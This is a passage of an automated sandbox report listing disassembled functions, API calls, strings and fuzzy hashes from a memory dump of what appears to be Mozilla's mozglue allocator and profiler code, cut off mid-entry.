MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4
<jemalloc>, xrefs: 6C4F0D62, 6C4F0D76, 6C4F0DA7

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction ID: 68c8dab6d5d5f8ea6cf21b829ba500b256dfabe0fa02d160ead08536d2f0a6f5
Opcode Fuzzy Hash: 545a84042b49a2d74c7c87586871a4b4a80912a53417c34263e4c0def9ce0384
Instruction Fuzzy Hash: B6C26B71A057418FD714CF28C980F16BBE1AFC9328F29C66DE8698B795D771E842CB81

Function 6C53E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C53E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C53EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C53F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C53F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C540E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C540E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C540EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C540ED4

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction ID: 077e0eba54e88c49933abc04fe1b5042058d6b49d945e901388225da02ebb5b4
Opcode Fuzzy Hash: d6e2b9523cc9571820f444ee461347fbacdda833adbe06eb5854329938694a34
Instruction Fuzzy Hash: 3B637F71E0025ACFCB04CFA8C8906DDF7B2FF99310F298669D859AB755E730A945CB90

Function 6C513E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C537770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>Ql,?,?,?,6C513E7D,?,?), ref: 6C53777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C513F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C513F5C
VerSetConditionMask.NTDLL ref: 6C513F8D
VerSetConditionMask.NTDLL ref: 6C513F99
VerSetConditionMask.NTDLL ref: 6C513FA0
VerSetConditionMask.NTDLL ref: 6C513FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C513FB4

Strings

C>Ql, xrefs: 6C513E93
nvd3d9wrap.dll, xrefs: 6C514466
nvinit.dll, xrefs: 6C514479

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>Ql$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-947918438
Opcode ID: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction ID: be93751d23dc29b7c7e32b8488541a84d5618a6cc1945c1415c3851b8e56a7eb
Opcode Fuzzy Hash: 9a478ef4dd503a0f028a82c0ce03e5b7b327e70f50f2e2602cf926708a564b53
Instruction Fuzzy Hash: AD52F272614B498FD710DF34C894EAB77E9AF85308F45492DD4968BB42DB34F909CBA0

Function 6C4EFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E7B8), ref: 6C4EFF81
LeaveCriticalSection.KERNEL32(6C55E7B8), ref: 6C4F022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C4F0240
EnterCriticalSection.KERNEL32(6C55E768), ref: 6C4F025B
LeaveCriticalSection.KERNEL32(6C55E768), ref: 6C4F027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4EFE99, 6C4EFEB7, 6C4EFED3, 6C4F0DB8, 6C4F0DD3, 6C4F19B4, 6C4F1A10
MOZ_CRASH(), xrefs: 6C4F0CA7

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction ID: 0be0ecd8a31981586b43d502becd83abb72e88ffaa5c7c758d1bbca9c5e24ae1
Opcode Fuzzy Hash: b1bf55d46fa0b31a020dcc4caaaa586c21b20244fa559fe049be0e622290d730
Instruction Fuzzy Hash: 82B27A71A057418FD714CF29C990F16BBE1AFC5328F28C66DE86A8B795D770E842CB81

Function 6C525600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

name, xrefs: 6C525E79, 6C525E8F
expected a Time entry, xrefs: 6C525CB6
ProfileBuffer parse error: %s, xrefs: 6C525AC8, 6C525CBB
data, xrefs: 6C526131
expected a Count entry, xrefs: 6C525AC3
schema, xrefs: 6C52606D

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction ID: f4459c656e1fe41993df9aee1870f2b864e689264ea688f59dd1ad08bf61bd51
Opcode Fuzzy Hash: fed53b20dd99bf5f0f2ddd0f51c422cc93a75784ae0ba1bbc35aaff5abd139d8
Instruction Fuzzy Hash: 67924D71A083418FD724CF18C890B9BBBE1BFC9308F55891DE5999B795DB34E809CB92

Function 6C4E7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E744), ref: 6C4E7885
LeaveCriticalSection.KERNEL32(6C55E744), ref: 6C4E78A5
EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4E78AD
LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4E78CD
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C4E795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C4E79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C4E7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C4E7C82
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4E7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C4E7DAF

Strings

DUl, xrefs: 6C4E787F
DUl, xrefs: 6C4E789F

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DUl$DUl
API String ID: 759993129-1314629681
Opcode ID: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction ID: b2e3c68baef8eb1db0a2846cb80f9712ae96c5bc8fd1d81cbc9da62cad2f1476
Opcode Fuzzy Hash: dcff855f389d20e31cdda68770ff273e6a17bf776c92fd1420f74e3fd61a97e9
Instruction Fuzzy Hash: 32028331A052198FDB54CF18C984F99B7B5FF88329F6682AAD809A7711D770BD91CF80

Function 6C522E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C522ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C522EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C522F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C523214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C523242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5236BF

Strings

set , xrefs: 6C5236EC
get , xrefs: 6C523205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C52378D

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction ID: d2f6e2e7fe3b7c9a34a85e522faf1d6b11578a59a772b548f4bc02d36529a481
Opcode Fuzzy Hash: b16a9a349abc9f4bd777dfe1775c9b2fdfa121fb2c8c2302718ac08c49ec29ae
Instruction Fuzzy Hash: 29326F746083818FD324CF24C890A9EBBE6AFC9318F548D1DE5D987791DB34E94ACB52

Function 6C517E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

name, xrefs: 6C517ECF, 6C518335
data, xrefs: 6C518280, 6C5183E1
(pre-xul), xrefs: 6C517E88
schema, xrefs: 6C5181E3, 6C518311
vUl, xrefs: 6C518207

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vUl
API String ID: 3412268980-1420529217
Opcode ID: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction ID: 51701d9768cd75cdcda7e2b82927c136578e1ded9be4d208505e01051fd2d05d
Opcode Fuzzy Hash: fe1ce089d721584dc7f549895bd7647643e9c4bbea9d5c7eaadff0d075dc1f2a
Instruction Fuzzy Hash: B3E17071A043448BD714CF68C840A5BFBE9BFC9318F558A2DE895D7790DBB0DD098B91

Function 6C535FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C536009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C536024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QMl,?), ref: 6C536046
OutputDebugStringA.KERNEL32(?,QMl,?), ref: 6C536061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C536069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C536082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C55148E), ref: 6C536091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QMl,00000000,?), ref: 6C5360BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C5360C4

Strings

QMl, xrefs: 6C535FFC, 6C536042, 6C536045, 6C5360B3

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QMl
API String ID: 3835517998-1439696203
Opcode ID: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction ID: 03b2f784946ebf0a0da5de58f5c72874e34d19d9309acb398cd954644f84203d
Opcode Fuzzy Hash: 764789bccadd4cbb1cfc60d44e78efb532cf788e7fa8510586ba1420298443f1
Instruction Fuzzy Hash: A521E2B1A002189FDF106F24DC0DAAE7BB8FF45318F418428E81AD7240DB75A949CFD5

Function 6C4F5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4F5EDB
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C4F5FB2
memset.VCRUNTIME140(ewSl,000000E5,?), ref: 6C4F61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C4F7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C4F72F8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C4F7BCD, 6C4F7C1F, 6C4F7C34, 6C4F80FD
MOZ_CRASH(), xrefs: 6C4F7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C4F72E3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C4F730D
ewSl, xrefs: 6C4F5E9C, 6C4F5F22, 6C4F61ED

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewSl
API String ID: 2613674957-934110803
Opcode ID: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction ID: 254458958504f6f1f7f8086802df393892c8c06a3518d93701c5d736a17ce24b
Opcode Fuzzy Hash: 471a4b36c541701944935b663dc348449109593398e64379b3ee682e9b66c5c9
Instruction Fuzzy Hash: 3B336A716096018FD304CF28C590E15BBE2BFC6328F29C6ADE9798B7A5D775E842CB41

Function 6C524820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

Ul, xrefs: 6C524F88
ProfileBuffer parse error: %s, xrefs: 6C524DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C524D65
data, xrefs: 6C5249B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C524D0A
schema, xrefs: 6C5248C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C524DB8, 6C524DD8
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C524CAF
-%llu, xrefs: 6C524825

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free
String ID: Ul$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-3414208028
Opcode ID: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction ID: f76165c75724aaebd457cc2e5c3601c16f97eb4f9c306066edc19ae094d63d57
Opcode Fuzzy Hash: 7dfdf78ef7f14bac02d133c8d1c0d3c8d9b2eddcfd5f1c67289e7931cb438b5e
Instruction Fuzzy Hash: 94722D75918B858BD322CF34C85179BF7E5BFDA344F108B1EE4896B650EB70A486CB42

Function 6C4FD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD4F2
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD50B

Part of subcall function 6C4DCFE0: EnterCriticalSection.KERNEL32(6C55E784), ref: 6C4DCFF6
Part of subcall function 6C4DCFE0: LeaveCriticalSection.KERNEL32(6C55E784), ref: 6C4DD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD52E
EnterCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD6A6
LeaveCriticalSection.KERNEL32(6C55E7DC), ref: 6C4FD712
LeaveCriticalSection.KERNEL32(6C55E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C50D1C5), ref: 6C4FD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C4FD82C
<jemalloc>, xrefs: 6C4FD827

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction ID: 50397f5a7c3896fa29774672b604e79ef33b7b974e101b16dfad2e227dd84485
Opcode Fuzzy Hash: dd3efa2a557a48857d78d1b8051724886eec2065dd7f4c4c14762ca72a6ed72e
Instruction Fuzzy Hash: 8F91E471A047418FD715CF28C890F2AB7E1EBC9314F55492EE56AC7B81D774E846CB82

Function 6C534EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C534EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C534F2E
moz_xmalloc.MOZGLUE ref: 6C534F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C534F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5352E6
Sleep.KERNEL32(00000010), ref: 6C535481
free.MOZGLUE(?), ref: 6C535498

Strings

(, xrefs: 6C535250

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction ID: df93e01d51aeefb5d08d30ddb93ec9b3715ef8eda2c544a156baaec45dc6e089
Opcode Fuzzy Hash: bba83d148bc5ac5d68c70657b7c5fe44b2f7fb86f1ad4a22e6caa3979bb202ae
Instruction Fuzzy Hash: C1F1D371A18B108FC716DF39C85062BB7F5AFD6384F46872EF846A7651EB31D8428B81

Function 6C537030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C537046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C537060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C53707E

Part of subcall function 6C4E81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C4E81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C537096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C53709C
LocalFree.KERNEL32(?), ref: 6C5370AA

Strings

(null), xrefs: 6C53706A, 6C537083
### ERROR: %s: %s, xrefs: 6C537087

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction ID: 680b2f12cf11072b32757df051b00e89864f3ed888385a1654facd0b4b492b24
Opcode Fuzzy Hash: 23545c3c9e3153241f0902cfa2564793b5b552698796f7d2d7c0ad15532ad7b2
Instruction Fuzzy Hash: 2901B9B1B00104AFDF04AB64DC4EDAF7BBCEF49215F860429FA05E7241E67169148BA5

Function 6C4F9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C4F9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C4F9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C4FA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C4FA849

Strings

